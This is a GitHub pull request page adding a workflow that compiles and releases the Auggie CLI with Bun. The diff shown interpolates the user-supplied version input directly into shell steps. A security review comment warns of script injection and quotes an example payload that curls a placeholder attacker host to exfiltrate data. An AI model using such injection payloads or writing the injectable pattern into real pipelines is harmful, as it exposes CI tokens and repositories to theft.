-
Notifications
You must be signed in to change notification settings - Fork 25
Add bun-compile GitHub Action workflow #96
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from 1 commit
Commits
Show all changes
11 commits
Select commit
Hold shift + click to select a range
b2d7dca
Add bun-compile GitHub Action workflow
kjiang-ac 5a63113
temp: add push trigger for testing
kjiang-ac 6659b2a
fix: install npm package before bun compile
kjiang-ac 7d198cc
fix: patch process.argv[1] for bun compile compatibility
kjiang-ac 0753f6a
revert: remove process.argv[1] patch from entry point
kjiang-ac 6419df6
feat: add repository_dispatch trigger for automated npm sync
kjiang-ac 8e56c07
rename binary assets from auggie-bun-* to auggie-*
kjiang-ac 7e74922
fix: use clean artifact names without .exe suffix
kjiang-ac 741590c
fix: clean artifact names, re-add push trigger for testing
kjiang-ac 114d5ef
fix: update version fallback to 0.18.1
kjiang-ac e588669
fix: remove hardcoded version fallback, fail fast if no version provided
kjiang-ac File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,68 @@ | ||
| # Bun Compile | ||
| # Compiles Auggie CLI into self-contained native binaries using Bun, | ||
| # pulling the pre-built @augmentcode/auggie package from npm. | ||
|
|
||
| name: Bun Compile | ||
| on: | ||
| workflow_dispatch: | ||
| inputs: | ||
| version: | ||
| description: 'npm package version (e.g. 0.17.0)' | ||
| required: true | ||
| type: string | ||
|
|
||
| jobs: | ||
| build: | ||
| runs-on: ubuntu-latest | ||
| strategy: | ||
| matrix: | ||
| include: | ||
| - target: bun-darwin-arm64 | ||
| output: auggie-bun-darwin-arm64 | ||
| - target: bun-darwin-x64 | ||
| output: auggie-bun-darwin-x64 | ||
| - target: bun-linux-x64 | ||
| output: auggie-bun-linux-x64 | ||
| - target: bun-windows-x64 | ||
| output: auggie-bun-windows-x64.exe | ||
| permissions: | ||
| contents: read | ||
| steps: | ||
| - name: Set up Bun | ||
| uses: oven-sh/setup-bun@v2 | ||
|
|
||
| - name: Create entry point | ||
| run: | | ||
| echo 'await import("npm:@augmentcode/auggie@${{ inputs.version }}");' > augment.mjs | ||
|
|
||
| - name: Compile binary | ||
| run: bun build augment.mjs --compile --target=${{ matrix.target }} --outfile=${{ matrix.output }} | ||
|
|
||
| - name: Upload artifact | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: ${{ matrix.output }} | ||
| path: ${{ matrix.output }} | ||
|
|
||
| release: | ||
| needs: build | ||
| runs-on: ubuntu-latest | ||
| permissions: | ||
| contents: write | ||
| steps: | ||
| - name: Download all artifacts | ||
| uses: actions/download-artifact@v4 | ||
| with: | ||
| path: artifacts | ||
| merge-multiple: true | ||
|
|
||
| - name: Create GitHub Release | ||
| env: | ||
| GH_TOKEN: ${{ github.token }} | ||
| GH_REPO: ${{ github.repository }} | ||
| run: | | ||
| gh release create "v${{ inputs.version }}" \ | ||
| --title "v${{ inputs.version }}" \ | ||
| --generate-notes \ | ||
| artifacts/* | ||
|
|
||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Security: Script injection via
${{ inputs.version }}Using
${{ inputs.version }}directly inside arun:block is vulnerable to expression injection. GitHub Actions expands${{ }}expressions before the shell executes, so a crafted version string (e.g., containing'); curl attacker.com/exfil?t=$(cat ...) #) could break out of the string context and execute arbitrary commands.This applies to this line and also to lines 64–65 in the release job.
The recommended fix is to pass the input through an environment variable, which the shell treats as data rather than code:
Current code:
Suggested improvement:
And similarly for the release job:
See GitHub docs on script injection for more details.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
addressed